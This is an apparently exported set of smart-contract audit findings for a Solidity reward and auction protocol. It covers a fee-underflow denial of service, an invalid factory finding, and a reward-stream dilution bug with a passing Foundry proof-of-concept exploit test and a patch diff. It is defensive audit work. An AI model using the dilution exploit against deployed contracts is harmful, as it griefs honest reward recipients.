Under the documented/canonical configuration this is unreachable because `creatorFeeBps` and `protocolFeeBps` are each clamped to at most 200 bps (well under the 2000 bps headroom from `PREVIOUS_MINER_BPS`). But when combined with a non-canonical `launchpad` binding (e.g., the permissionless `MineDeployer.deploy` misuse described separately) that returns `protocolFeeBps() > 2000`, or any future refactor that removes/relaxes a setter bound, `_allocatePayment`'s unchecked subtraction underflows and reverts every paid replacement, permanently bricking mining for that Mine instance (denial of service on the core emission mechanism) until the misbehaving fee source is somehow bypassed — which, for an immutable `launchpad` reference, is impossible.

---

# Permissionless factories let anyone brick a self-created Auction bound to the real Resonance
**#303304**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/core/AuctionFactory.sol`
#### Lines 25-34 — _public factory binds resonance to msg.sender with no registry_

```
    function createAuctionAndRouter(
        IERC20 usdg,
        IERC20 paymentToken,
        address fund,
        Bribe bribe,
        Auction.Config calldata config
    ) external returns (Auction auction, BribeRouter bribeRouter) {
        auction = new Auction(msg.sender, usdg, paymentToken, fund, config);
        bribeRouter = new BribeRouter(IBribe(address(bribe)), paymentToken);
    }
```
### `Uploaded archive/packages/contracts/src/core/BribeFactory.sol`
#### Lines 14-16 — _public factory binds Bribe authority to msg.sender_

```
    function createBribe() external returns (Bribe bribe) {
        bribe = new Bribe(msg.sender);
    }
```
### `Uploaded archive/packages/contracts/src/core/Resonance.sol`
#### Lines 517-523 — _isStrategyRegistered derived solely from bribeFor mapping written only by addStrategy_

```
    /// @notice Returns whether this Resonance permanently registered a Strategy identified by its Auction address.
    /// @dev Registration is derived from the append-only canonical Bribe mapping instead of duplicated storage.
    /// @param strategy Strategy address to query.
    /// @return registered True when `strategy` has a canonical Bribe.
    function isStrategyRegistered(address strategy) public view returns (bool registered) {
        return bribeFor[strategy] != address(0);
    }
```
### `Uploaded archive/packages/contracts/src/core/Auction.sol`
#### Lines 161-194 — _buy() always calls distributeRevenue(address(this)) before checking revenue_

```
    function buy(address revenueReceiver, uint256 expectedEpochId, uint256 deadline, uint256 maximumPayment)
        external
        nonReentrant
        returns (uint256 paymentAmount)
    {
        if (revenueReceiver == address(0)) revert ZeroAddress();
        if (block.timestamp > deadline) revert DeadlinePassed(deadline);
        if (expectedEpochId != epochId) revert EpochIdMismatch(expectedEpochId, epochId);

        // Fix the split before token calls, including when the payment token is USDG.
        IResonance configuredResonance = IResonance(resonance);
        uint256 appliedBribeBps = configuredResonance.bribeBps();

        // Include USDG released through this timestamp, before collecting the purchase payment.
        configuredResonance.distributeRevenue(address(this));
        uint256 revenueAmount = usdg.balanceOf(address(this));
        if (revenueAmount == 0) revert EmptyRevenue();

        paymentAmount = currentPrice();
        if (paymentAmount > maximumPayment) revert MaximumPaymentExceeded(paymentAmount, maximumPayment);

        if (paymentAmount != 0) {
            _settlePayment(configuredResonance, msg.sender, paymentAmount, appliedBribeBps);
        }

        usdg.safeTransfer(revenueReceiver, revenueAmount);

        uint256 completedEpoch = epochId;
        initialPrice = _nextInitialPrice(paymentAmount);
        epochStartedAt = block.timestamp;
        epochId = completedEpoch + 1;

        emit Purchased(msg.sender, revenueReceiver, completedEpoch, revenueAmount, paymentAmount);
    }
```
## Description

Any externally owned account or contract can call `AuctionFactory.createAuctionAndRouter` directly, supplying the real protocol `Resonance` address as the `msg.sender`-bound caller only if that call is itself made by Resonance (an attacker cannot spoof `msg.sender` to be the real Resonance from an unrelated EOA), so a directly created Auction's `resonance` field will point at the attacker's own address, not the canonical Resonance, unless the attacker deploys a proxy contract that calls the factory and is itself inert. In practice this means an attacker can only create Auction/Bribe/BribeRouter graphs bound to their own calling contract, which `Resonance.isStrategyRegistered` never recognizes (`bribeFor[strategy]` stays zero for addresses that were never written by the real `addStrategy`), so `Resonance.distributeRevenue` reverts `StrategyNotFound` for the real Resonance when queried on an unregistered strategy address, and the attacker's own `Auction.buy` call will revert `EmptyRevenue` on `distributeRevenue` since the unrelated Resonance never accrues revenue for it. The net effect is self-contained griefing of the attacker's own deployed, unregistered contracts, not an attack with external victims.
## Root cause

`AuctionFactory.createAuctionAndRouter` and `BribeFactory.createBribe` are public and stateless, binding the new contract's immutable `resonance`/authority field to `msg.sender` with no verification that the caller is actually the canonical, owner-authorized `Resonance` performing a legitimate strategy registration.
## Impact

No unauthorized access to real protocol funds or registered strategies results, since factory-created graphs not registered by the real Resonance's `addStrategy` are never recognized by `isStrategyRegistered`, `distributeRevenue`, or `bribeRouterFor`. The sole consequence is that any arbitrary caller can deploy throwaway Auction/Bribe/BribeRouter graphs that are permanently non-functional for real revenue, with no economic value route to real funds; this is primarily an unused-capability/informational observation about the factories' lack of registry rather than an exploitable vulnerability.

---

# Permissionless stream restart dilutes reward rate
**#303306**
- Severity: High
- Validity: Unreviewed
## Source locations
### `Uploaded archive/packages/contracts/src/core/Bribe.sol` (2 locations)
#### Lines 181-206 — _notifyReward resets periodFinish/rewardRate using only amount>=remaining as an anti-dilution guard_

```
    function notifyReward(address rewardToken, uint256 amount) external override nonReentrant {
        _requireRewardToken(rewardToken);
        if (amount < REWARD_DURATION) revert RewardBelowDuration(amount);

        uint256 notified = lifetimeRewardNotified[rewardToken];
        uint256 maximum = MAX_LIFETIME_REWARD_AMOUNT;
        if (amount > maximum - notified) {
            revert RewardLifetimeCapExceeded(rewardToken, notified, amount, maximum);
        }

        uint256 remaining = remainingReward(rewardToken);
        if (amount < remaining) revert RewardBelowRemaining(amount, remaining);

        _updateReward(address(0), rewardToken);
        IERC20(rewardToken).safeTransferFrom(msg.sender, address(this), amount);

        RewardData storage data = rewardData[rewardToken];
        uint256 budget = amount + remaining + _rewardRemainder[rewardToken];
        data.rewardRate = budget / REWARD_DURATION;
        _rewardRemainder[rewardToken] = budget % REWARD_DURATION;
        data.lastUpdateTime = block.timestamp;
        data.periodFinish = block.timestamp + REWARD_DURATION;
        lifetimeRewardNotified[rewardToken] = notified + amount;

        emit RewardNotified(rewardToken, amount);
    }
```
⋯
#### Lines 259-269 — _remainingReward shrinks toward zero near periodFinish, making the restart threshold trivial to satisfy_

```
    /// @notice Returns the raw token units still scheduled in a reward token's active stream.
    /// @dev Computes `(periodFinish - block.timestamp) * rewardRate` while active and zero afterward. The result
    ///      excludes elapsed rewards, direct donations, and the saved rate-division remainder. Unregistered tokens
    ///      return zero.
    /// @param rewardToken Reward token whose current stream is queried.
    /// @return amount Raw token units remaining at the stored whole-unit-per-second rate.
    function remainingReward(address rewardToken) public view override returns (uint256 amount) {
        RewardData storage data = rewardData[rewardToken];
        if (block.timestamp >= data.periodFinish) return 0;
        return (data.periodFinish - block.timestamp) * data.rewardRate;
    }
```
## Description

`Bribe.notifyReward` is fully permissionless and only requires the fresh `amount` to be at least `REWARD_DURATION` (604800 raw units) and at least the current `remainingReward(token)`. Whenever it is called, the entire stream state is reset: `periodFinish = now + 7 days` and `rewardRate = (amount + remaining + carriedRemainder) / REWARD_DURATION`. Near the end of an active stream, `remainingReward` can be arbitrarily small (as low as the prior rate times a few remaining seconds), so an attacker can satisfy the `amount >= remaining` gate with the bare minimum (`REWARD_DURATION` raw units) and immediately restart the clock. Because the new budget is spread again over a full 7 days, this can sharply dilute the effective per-second rate compared to what signalers would have received had the stream been left alone, and it can be repeated by any address at any time at the mere cost of a `REWARD_DURATION`-sized token donation that is not lost (it is still credited to the stream, just spread thinner and later).
## Root cause

`notifyReward`'s only anti-dilution guard is `amount >= remainingReward(token)`, which can be trivially satisfied with the duration floor whenever remaining is small; there is no cooldown, minimum elapsed-time requirement, or restriction on who may restart the stream, so any external caller can reset `periodFinish` and recompute `rewardRate` over a fresh 7-day window at will.
## Impact

A patient, economically motivated attacker can perpetually keep restarting any Bribe stream shortly before `periodFinish`, continually pushing out full payout of already-committed rewards and flattening the realized reward rate for honest signalers, who indefinitely receive a slower trickle instead of the originally scheduled payout. This is a reward-liveness griefing vector requiring only a modest, partially-recoverable (to the attacker's disadvantage but not destroyed) token cost per restart, repeatable indefinitely.
## Proof of concept
### Test case

```
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.26;

import { Test } from "forge-std/Test.sol";

import { Bribe } from "../../src/core/Bribe.sol";
import { MockERC20 } from "./utils/Tokens.sol";

/// @notice PoC for permissionless Bribe stream restart diluting an active reward rate.
/// @dev The test contract is the Bribe's Resonance because Bribe requires a deployed-code resonance address.
contract Poc is Test {
    address internal constant ALICE = address(0xA11CE);
    address internal constant SPONSOR = address(0x5005);
    address internal constant ATTACKER = address(0xA77A);

    Bribe internal bribe;
    MockERC20 internal reward;

    function setUp() external {
        vm.warp(365 days);
        bribe = new Bribe(address(this));
        reward = new MockERC20("Reward", "RWD", 18);

        bribe.addRewardToken(address(reward));
        bribe.addSignalWeight(ALICE, 1);
    }

    function test_Poc() external {
        uint256 duration = bribe.REWARD_DURATION();
        uint256 initialRate = 1_000;
        uint256 initialBudget = initialRate * duration;

        reward.mint(SPONSOR, initialBudget);
        vm.startPrank(SPONSOR);
        reward.approve(address(bribe), initialBudget);
        bribe.notifyReward(address(reward), initialBudget);
        vm.stopPrank();

        (uint256 originalFinish, uint256 rateBefore,,) = bribe.rewardData(address(reward));
        assertEq(rateBefore, initialRate);

        // The attacker waits until the anti-dilution threshold has shrunk below the minimum fresh notification.
        vm.warp(originalFinish - 1);
        uint256 remainingBeforeAttack = bribe.remainingReward(address(reward));
        assertLt(remainingBeforeAttack, duration);

        // Any external address can now restart the high-rate stream with the bare duration-sized donation.
        reward.mint(ATTACKER, duration);
        vm.startPrank(ATTACKER);
        reward.approve(address(bribe), duration);
        bribe.notifyReward(address(reward), duration);
        vm.stopPrank();

        (uint256 restartedFinish, uint256 dilutedRate,,) = bribe.rewardData(address(reward));
        assertGt(restartedFinish, originalFinish);
        assertLt(dilutedRate, rateBefore);
        assertEq(bribe.lifetimeRewardNotified(address(reward)), initialBudget + duration);

        // At the original stream finish, the signaler has not received the originally scheduled full budget;
        // the attacker reset stretched the last second of the initial stream over a fresh seven-day period.
        vm.warp(originalFinish);
        uint256 earnedAtOriginalFinish = bribe.earned(ALICE, address(reward));
        assertLt(earnedAtOriginalFinish, initialBudget);

        vm.prank(ALICE);
        uint256 paidAtOriginalFinish = bribe.claimReward(ALICE, address(reward));
        assertEq(paidAtOriginalFinish, earnedAtOriginalFinish);
        assertLt(reward.balanceOf(ALICE), initialBudget);
        assertGt(reward.balanceOf(address(bribe)), duration);
    }
}
```
### Setup script

```
#!/bin/bash
set -e

# Standalone PoC reproduction. Run from the repository root of a checkout at
# the audited commit, with the language toolchain installed.

# Place the downloaded PoC files at these paths before running:
#   packages/contracts/test/minimal/Poc.t.sol

# build and run
cd 'packages/contracts'
forge build
forge test --match-path test/minimal/Poc.t.sol -vv
```
### Output

```
[output truncated: 1182 lines & 64.1318359375 KB skipped]
[test] forge test --match-path test/minimal/Poc.t.sol -vv
[test] exit code: 0

No files changed, compilation skipped

Ran 1 test for test/minimal/Poc.t.sol:Poc
[PASS] test_Poc() (gas: 679261)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.24ms (519.32µs CPU time)

Ran 1 test suite in 9.66ms (1.24ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```
### Considerations

PoC uses a focused Bribe unit harness with the test contract acting as the authorized Resonance solely to initialize real Bribe registry and signal-weight state; it does not deploy the full Launchpad/Resonance/Auction route. The exploit step itself is an unprivileged external account calling the real Bribe.notifyReward with an approved ERC-20 balance. Successful run: `forge test --match-path test/minimal/Poc.t.sol -vv` passed 1/1 and asserts the stream finish is pushed past the original finish, rewardRate is reduced, and ALICE cannot receive the originally scheduled full budget at the original finish.
### Validation reasoning

PoC validation command completed successfully.
## Remediation
### Explanation

Reject active-stream notifications whose recomputed whole-unit reward rate would be lower than the current rate, preventing permissionless callers from extending the finish time while diluting scheduled rewards; completed streams and non-dilutive top-ups remain unchanged.
### Patch

```diff
diff --git a/packages/contracts/src/core/Bribe.sol b/packages/contracts/src/core/Bribe.sol
--- a/packages/contracts/src/core/Bribe.sol
+++ b/packages/contracts/src/core/Bribe.sol
@@ -1,367 +1,376 @@
 // SPDX-License-Identifier: GPL-3.0-or-later
 pragma solidity 0.8.26;
 
 import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
 import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
 import { Math } from "@openzeppelin/contracts/utils/math/Math.sol";
 import { ReentrancyGuard } from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
 
 import { IBribe } from "./interfaces/IBribe.sol";
 
 /// @title Glazecorp Multi-Token Strategy Reward Stream
 /// @author heesho
 /// @notice Streams up to sixteen registered reward tokens to accounts signaling this Bribe's Strategy.
 /// @dev Resonance is the sole writer of virtual signal weights and the append-only token registry. Each token uses an
 ///      independent Synthetix-style seven-day stream and a cumulative reward-per-signal index scaled by `1e36`.
 ///      Saved rate-division remainders join the next qualifying stream. Index and account rounding leaves unallocated
 ///      contract surplus.
 ///      Time still elapses when total signal weight is zero, so rewards emitted during that interval are likewise
 ///      unclaimable. Killing the Strategy does not stop Bribe streams or remove its recorded weights: existing
 ///      positions keep earning until moved or withdrawn. Claims are authorized for the beneficiary or immutable
 ///      Resonance, notifications remain permissionless, and Resonance may still register rewards. Reward transfers
 ///      assume standard, non-rebasing ERC-20 behavior.
 contract Bribe is ReentrancyGuard, IBribe {
     using SafeERC20 for IERC20;
 
     /// @notice Scheduling and cumulative-index state for one registered reward token.
     /// @param periodFinish Unix timestamp at which the current stream stops accruing.
     /// @param rewardRate Whole raw token units scheduled per second for the current stream.
     /// @param lastUpdateTime Unix timestamp through which `rewardPerSignalStored` has been checkpointed.
     /// @param rewardPerSignalStored Cumulative raw-token reward per signal unit, scaled by `REWARD_PRECISION`.
     struct RewardData {
         uint256 periodFinish;
         uint256 rewardRate;
         uint256 lastUpdateTime;
         uint256 rewardPerSignalStored;
     }
 
     /// @notice Fixed duration of each reward stream, in seconds.
     uint256 public constant override REWARD_DURATION = 7 days;
     /// @notice Fixed-point scale used by cumulative reward-per-signal accounting.
     uint256 public constant REWARD_PRECISION = 1e36;
     /// @notice Maximum cumulative raw units accepted for one reward token over this Bribe's lifetime.
     /// @dev Equal to `floor(type(uint256).max / REWARD_PRECISION)` and checked before stream state or custody changes.
     uint256 public constant MAX_LIFETIME_REWARD_AMOUNT = type(uint256).max / REWARD_PRECISION;
     /// @notice Maximum number of registered reward tokens and iterations in mandatory all-token loops.
     uint256 public constant MAX_REWARD_TOKENS = 16;
 
     /// @notice Immutable Resonance authorized to maintain signal weights and register reward tokens.
     address public immutable resonance;
 
     /// @notice Total raw signal weight assigned to this Bribe's Strategy.
     uint256 public totalSignalWeight;
     /// @notice An account's raw signal weight assigned to this Bribe's Strategy.
     mapping(address account => uint256 weight) public signalWeightOf;
 
     address[] private _rewardTokens;
     /// @notice Whether a token belongs to the append-only reward-token registry.
     mapping(address token => bool isReward) public isRewardToken;
     /// @notice Current stream timestamps, raw-unit rate, and scaled index for a reward token.
     /// @dev Unregistered tokens return an all-zero `RewardData` value.
     mapping(address token => RewardData data) public rewardData;
     /// @notice Scaled cumulative index already incorporated for an account and reward token.
     mapping(address account => mapping(address token => uint256 paid)) public accountRewardPerSignalPaid;
     /// @notice An account's checkpointed, unclaimed reward in raw token units.
     /// @dev This excludes reward accrued since the account's latest checkpoint; use `earned` for the live amount.
     mapping(address account => mapping(address token => uint256 amount)) public rewards;
     /// @notice Cumulative raw units accepted through notifications for a reward token.
     /// @dev Counts fresh funding once and never resets. Excludes donations, remaining scheduled rewards,
     ///      and saved remainders.
     mapping(address token => uint256 amount) public lifetimeRewardNotified;
 
     /// @dev Saved rate-division remainder for this token's next qualifying stream; always below `REWARD_DURATION`.
     mapping(address token => uint256 amount) private _rewardRemainder;
 
     /// @notice Emitted when Resonance appends a token to the reward registry.
     /// @param rewardToken Token that became eligible for funding and streaming.
     event RewardTokenAdded(address indexed rewardToken);
     /// @notice Emitted when a caller funds and restarts a registered token's seven-day stream.
     /// @param rewardToken Registered token pulled from the caller.
     /// @param amount Fresh raw token units pulled, excluding remaining scheduled rewards and the saved remainder.
     event RewardNotified(address indexed rewardToken, uint256 amount);
     /// @notice Emitted when one account's checkpointed reward is paid.
     /// @param account Account that receives the token transfer regardless of who initiated the claim.
     /// @param rewardToken Registered token paid to `account`.
     /// @param amount Raw token units transferred.
     event RewardPaid(address indexed account, address indexed rewardToken, uint256 amount);
     /// @notice Emitted when Resonance adds signal weight for an account.
     /// @param account Account whose weight in the paired Auction increased.
     /// @param amount Raw signal units added.
     event SignalWeightAdded(address indexed account, uint256 amount);
     /// @notice Emitted when Resonance removes signal weight for an account.
     /// @param account Account whose weight in the paired Auction decreased.
     /// @param amount Raw signal units removed.
     event SignalWeightRemoved(address indexed account, uint256 amount);
 
     /// @notice Raised when an operation requires a registered reward token but receives an unregistered address.
     /// @param token Address that is absent from the append-only registry.
     error NotRewardToken(address token);
     /// @notice Raised when a signal-weight or token-registry mutation does not originate from Resonance.
     /// @param caller Unauthorized caller.
     error NotResonance(address caller);
     /// @notice Raised when a notification contains fewer raw units than the stream duration in seconds.
     /// @param amount Requested fresh notification amount in raw token units.
     error RewardBelowDuration(uint256 amount);
     /// @notice Raised when fresh funding is smaller than the scheduled reward remaining in the active stream.
     /// @param amount Requested fresh notification amount in raw token units.
     /// @param remaining Raw token units still scheduled at the current whole-unit rate.
     error RewardBelowRemaining(uint256 amount, uint256 remaining);
+    /// @notice Raised when fresh funding would lower the active stream's whole-unit reward rate.
+    /// @param currentRate Whole raw token units emitted per second by the active stream.
+    /// @param proposedRate Whole raw token units per second after incorporating the fresh funding.
+    error RewardRateDecrease(uint256 currentRate, uint256 proposedRate);
     /// @notice Raised when a notification would exceed the token's lifetime admission cap.
     /// @param token Registered reward token whose cap would be exceeded.
     /// @param notified Cumulative raw units previously accepted for `token`.
     /// @param requested Fresh raw units requested in this notification.
     /// @param maximum Maximum cumulative raw units the token may ever notify.
     error RewardLifetimeCapExceeded(address token, uint256 notified, uint256 requested, uint256 maximum);
     /// @notice Raised when Resonance attempts to register a token after the registry reaches its immutable limit.
     /// @param maximum Maximum number of tokens the registry accepts.
     error RewardTokenLimitReached(uint256 maximum);
     /// @notice Raised when Resonance attempts to append a token that is already registered.
     /// @param token Already-registered reward token.
     error RewardAlreadyAdded(address token);
     /// @notice Raised when a caller other than the beneficiary or immutable Resonance attempts to claim rewards.
     /// @param caller Unauthorized claim initiator.
     /// @param account Beneficiary whose rewards the caller attempted to checkpoint and claim.
     error UnauthorizedClaimCaller(address caller, address account);
     /// @notice Raised when an account is zero or a required contract dependency or reward token has no deployed code.
     error ZeroAddress();
     /// @notice Raised when Resonance attempts to add or remove zero signal weight.
     error ZeroAmount();
 
     /// @notice Restricts signal-weight and reward-token registry mutations to the immutable Resonance.
     modifier onlyResonance() {
         if (msg.sender != resonance) revert NotResonance(msg.sender);
         _;
     }
 
     /// @notice Creates an empty, bounded reward stream controlled by one Resonance contract.
     /// @dev Requires a nonzero, deployed Resonance contract.
     /// @param resonance_ Resonance exclusively authorized to maintain signal weights and register reward tokens.
     constructor(address resonance_) {
         if (resonance_ == address(0) || resonance_.code.length == 0) revert ZeroAddress();
         resonance = resonance_;
     }
 
     /// @notice Checkpoints and pays every registered reward token earned by `account` directly to that account.
     /// @dev Callable only by `account` or Resonance. The loop is bounded by `MAX_REWARD_TOKENS`. A failed transfer
     ///      reverts the complete claim; `claimReward` allows a healthy token to be claimed separately.
     /// @param account Account whose accrued raw-token rewards are checkpointed and paid; cannot be zero.
     function claimRewards(address account) external nonReentrant {
         if (account == address(0)) revert ZeroAddress();
         _requireClaimAuthorization(account);
         _updateAllRewards(account);
 
         uint256 count = _rewardTokens.length;
         for (uint256 i; i < count; ++i) {
             _claim(account, _rewardTokens[i]);
         }
     }
 
     /// @notice Checkpoints and pays one registered reward token earned by `account` directly to that account.
     /// @dev Callable only by `account` or Resonance. Leaves other tokens unchanged. A failed transfer reverts the
     ///      checkpoint and claim reset, preserving the unpaid reward.
     /// @param account Account whose reward is checkpointed and paid; cannot be zero.
     /// @param rewardToken Registered token to checkpoint and pay.
     /// @return amount Raw token units transferred, or zero when the account has no whole-unit reward.
     function claimReward(address account, address rewardToken) external nonReentrant returns (uint256 amount) {
         if (account == address(0)) revert ZeroAddress();
         _requireClaimAuthorization(account);
         _requireRewardToken(rewardToken);
         _updateReward(account, rewardToken);
         amount = _claim(account, rewardToken);
     }
 
     /// @notice Pulls fresh funding from the caller and restarts a registered token's seven-day reward stream.
     /// @dev Permissionless. Fresh `amount` must meet `REWARD_DURATION` and `remainingReward` and fit the lifetime cap.
     ///      These checks precede checkpointing and transfer. The new budget combines fresh funding, remaining scheduled
     ///      rewards, and the saved rate-division remainder. Division by `REWARD_DURATION` sets the whole-unit rate and
     ///      saves a new remainder for the next qualifying stream's signalers. The remainder stays pending if no further
     ///      funding qualifies. The period restarts; only fresh deposits increase the lifetime counter.
     /// @param rewardToken Registered standard ERC-20 token to pull and stream.
     /// @param amount Fresh raw token units pulled from the caller and counted toward the lifetime cap.
     function notifyReward(address rewardToken, uint256 amount) external override nonReentrant {
         _requireRewardToken(rewardToken);
         if (amount < REWARD_DURATION) revert RewardBelowDuration(amount);
 
         uint256 notified = lifetimeRewardNotified[rewardToken];
         uint256 maximum = MAX_LIFETIME_REWARD_AMOUNT;
         if (amount > maximum - notified) {
             revert RewardLifetimeCapExceeded(rewardToken, notified, amount, maximum);
         }
 
         uint256 remaining = remainingReward(rewardToken);
         if (amount < remaining) revert RewardBelowRemaining(amount, remaining);
 
+        RewardData storage data = rewardData[rewardToken];
+        uint256 budget = amount + remaining + _rewardRemainder[rewardToken];
+        uint256 newRewardRate = budget / REWARD_DURATION;
+        if (block.timestamp < data.periodFinish && newRewardRate < data.rewardRate) {
+            revert RewardRateDecrease(data.rewardRate, newRewardRate);
+        }
+
         _updateReward(address(0), rewardToken);
         IERC20(rewardToken).safeTransferFrom(msg.sender, address(this), amount);
 
-        RewardData storage data = rewardData[rewardToken];
-        uint256 budget = amount + remaining + _rewardRemainder[rewardToken];
-        data.rewardRate = budget / REWARD_DURATION;
+        data.rewardRate = newRewardRate;
         _rewardRemainder[rewardToken] = budget % REWARD_DURATION;
         data.lastUpdateTime = block.timestamp;
         data.periodFinish = block.timestamp + REWARD_DURATION;
         lifetimeRewardNotified[rewardToken] = notified + amount;
 
         emit RewardNotified(rewardToken, amount);
     }
 
     /// @notice Adds signal weight for `account` after checkpointing every registered reward under the prior weights.
     /// @dev Callable only by Resonance. The checkpoint loop is bounded by `MAX_REWARD_TOKENS`.
     /// @param account Nonzero account whose paired-Auction signal weight increases.
     /// @param amount Nonzero raw signal units added to both the account weight and total weight.
     function addSignalWeight(address account, uint256 amount) external onlyResonance {
         if (amount == 0) revert ZeroAmount();
         if (account == address(0)) revert ZeroAddress();
 
         _updateAllRewards(account);
         totalSignalWeight += amount;
         signalWeightOf[account] += amount;
 
         emit SignalWeightAdded(account, amount);
     }
 
     /// @notice Removes signal weight for `account` after checkpointing every registered reward under the prior weights.
     /// @dev Callable only by Resonance. Removing more than the account or total weight reverts by checked arithmetic.
     /// @param account Nonzero account whose paired-Auction signal weight decreases.
     /// @param amount Nonzero raw signal units removed from both the account weight and total weight.
     function removeSignalWeight(address account, uint256 amount) external onlyResonance {
         if (amount == 0) revert ZeroAmount();
         if (account == address(0)) revert ZeroAddress();
 
         _updateAllRewards(account);
         totalSignalWeight -= amount;
         signalWeightOf[account] -= amount;
 
         emit SignalWeightRemoved(account, amount);
     }
 
     /// @notice Appends a reward token to this Bribe's permanent registry.
     /// @dev Callable only by Resonance. The token must be a unique, nonzero contract and the resulting registry length
     ///      cannot exceed `MAX_REWARD_TOKENS`. Registration does not fund or start a stream.
     /// @param rewardToken ERC-20 contract address to register.
     function addRewardToken(address rewardToken) external onlyResonance {
         if (rewardToken == address(0) || rewardToken.code.length == 0) revert ZeroAddress();
         if (isRewardToken[rewardToken]) revert RewardAlreadyAdded(rewardToken);
         if (_rewardTokens.length == MAX_REWARD_TOKENS) revert RewardTokenLimitReached(MAX_REWARD_TOKENS);
 
         isRewardToken[rewardToken] = true;
         _rewardTokens.push(rewardToken);
 
         emit RewardTokenAdded(rewardToken);
     }
 
     /// @notice Returns registered reward-token addresses in insertion order.
     /// @return tokens Copy of the append-only registry, containing at most `MAX_REWARD_TOKENS` entries.
     function rewardTokens() external view returns (address[] memory tokens) {
         return _rewardTokens;
     }
 
     /// @notice Returns the raw token units still scheduled in a reward token's active stream.
     /// @dev Computes `(periodFinish - block.timestamp) * rewardRate` while active and zero afterward. The result
     ///      excludes elapsed rewards, direct donations, and the saved rate-division remainder. Unregistered tokens
     ///      return zero.
     /// @param rewardToken Reward token whose current stream is queried.
     /// @return amount Raw token units remaining at the stored whole-unit-per-second rate.
     function remainingReward(address rewardToken) public view override returns (uint256 amount) {
         RewardData storage data = rewardData[rewardToken];
         if (block.timestamp >= data.periodFinish) return 0;
         return (data.periodFinish - block.timestamp) * data.rewardRate;
     }
 
     /// @notice Returns the live cumulative reward allocated per raw signal unit for one reward token.
     /// @dev The result is scaled by `REWARD_PRECISION` and each index increment rounds down. Accrual stops at
     ///      `periodFinish`. If total signal weight is zero, the index remains unchanged and elapsed rewards cannot be
     ///      captured by accounts that add weight later.
     /// @param rewardToken Reward token whose cumulative index is queried; unregistered tokens return zero.
     /// @return accumulatedReward Cumulative reward-per-signal index scaled by `REWARD_PRECISION`.
     function rewardPerSignal(address rewardToken) public view returns (uint256 accumulatedReward) {
         RewardData storage data = rewardData[rewardToken];
         uint256 signalWeight = totalSignalWeight;
         if (signalWeight == 0) return data.rewardPerSignalStored;
 
         uint256 elapsed = _lastApplicableRewardTime(rewardToken) - data.lastUpdateTime;
         return data.rewardPerSignalStored + Math.mulDiv(elapsed * data.rewardRate, REWARD_PRECISION, signalWeight);
     }
 
     /// @notice Returns one account's checkpointed plus pending reward for one token in whole raw units.
     /// @dev Uses the live index and rounds down. Unregistered reward tokens return zero.
     /// @param account Account whose entitlement is queried.
     /// @param rewardToken Reward token whose entitlement is queried.
     /// @return amount Raw token units currently payable after checkpointing.
     function earned(address account, address rewardToken) public view returns (uint256 amount) {
         uint256 rewardDelta = rewardPerSignal(rewardToken) - accountRewardPerSignalPaid[account][rewardToken];
         return rewards[account][rewardToken] + Math.mulDiv(signalWeightOf[account], rewardDelta, REWARD_PRECISION);
     }
 
     /// @dev Persists every registered token's index and time checkpoint, then checkpoints `account` under its current
     ///      signal weight when `account` is nonzero. The loop is bounded by `MAX_REWARD_TOKENS`.
     /// @param account Account to checkpoint, or the zero address to update only global stream state.
     function _updateAllRewards(address account) private {
         uint256 count = _rewardTokens.length;
         for (uint256 i; i < count; ++i) {
             _updateReward(account, _rewardTokens[i]);
         }
     }
 
     /// @dev Persists one stream's live cumulative index and applicable timestamp. For a nonzero `account`, converts
     ///      its index delta at its current signal weight into whole raw-token rewards, rounded down, before recording
     ///      the new paid index.
     /// @param account Account to checkpoint, or the zero address to update only global stream state.
     /// @param rewardToken Reward token whose stream and optional account entitlement are checkpointed.
     function _updateReward(address account, address rewardToken) private {
         RewardData storage data = rewardData[rewardToken];
         uint256 current = rewardPerSignal(rewardToken);
         data.rewardPerSignalStored = current;
         data.lastUpdateTime = _lastApplicableRewardTime(rewardToken);
 
         if (account != address(0)) {
             uint256 rewardDelta = current - accountRewardPerSignalPaid[account][rewardToken];
             rewards[account][rewardToken] += Math.mulDiv(signalWeightOf[account], rewardDelta, REWARD_PRECISION);
             accountRewardPerSignalPaid[account][rewardToken] = current;
         }
     }
 
     /// @dev Clears and transfers one account's checkpointed whole-unit reward using checks-effects-interactions.
     /// @param account Entitled transfer recipient.
     /// @param rewardToken Reward token to transfer.
     /// @return amount Raw token units transferred, or zero when no checkpointed reward exists.
     function _claim(address account, address rewardToken) private returns (uint256 amount) {
         amount = rewards[account][rewardToken];
         if (amount == 0) return 0;
 
         rewards[account][rewardToken] = 0;
         IERC20(rewardToken).safeTransfer(account, amount);
 
         emit RewardPaid(account, rewardToken, amount);
     }
 
     /// @dev Reverts unless the caller is `account` or this Bribe's immutable Resonance.
     ///      Restricts who can advance account checkpoints and discard fractional entitlement.
     /// @param account Reward beneficiary whose checkpoint may be advanced.
     function _requireClaimAuthorization(address account) private view {
         if (msg.sender != account && msg.sender != resonance) {
             revert UnauthorizedClaimCaller(msg.sender, account);
         }
     }
 
     /// @dev Reverts with `NotRewardToken` unless `rewardToken` is in the append-only registry.
     /// @param rewardToken Token address to validate.
     function _requireRewardToken(address rewardToken) private view {
         if (!isRewardToken[rewardToken]) revert NotRewardToken(rewardToken);
     }
 
     /// @dev Caps reward accrual at the stream's `periodFinish` timestamp.
     /// @param rewardToken Reward token whose stream boundary is queried.
     /// @return timestamp Earlier of the current Unix timestamp and the token's `periodFinish`.
     function _lastApplicableRewardTime(address rewardToken) private view returns (uint256 timestamp) {
         return Math.min(block.timestamp, rewardData[rewardToken].periodFinish);
     }
 }
 
 // Upstream provenance (Bribe): the stream timing, active-period rollover, cumulative-index, earned, and
 // checkpoint-before-weight-change mechanics are adapted from Curve MultiRewards commit
 // 99995f90bd129bbe6b5a995daf6233fb79789e4e.
 // Source repository: https://github.com/curvefi/multi-rewards
 // Source path: contracts/MultiRewards.sol at commit 99995f90bd129bbe6b5a995daf6233fb79789e4e.
 // Deviations from that kernel must be assessed independently. No upstream audit, endorsement, or security assurance
 // for this contract is implied.
```
### Affected files
- `packages/contracts/src/core/Bribe.sol`
### Validation output

```
[output truncated: 1185 lines & 64.44921875 KB skipped]
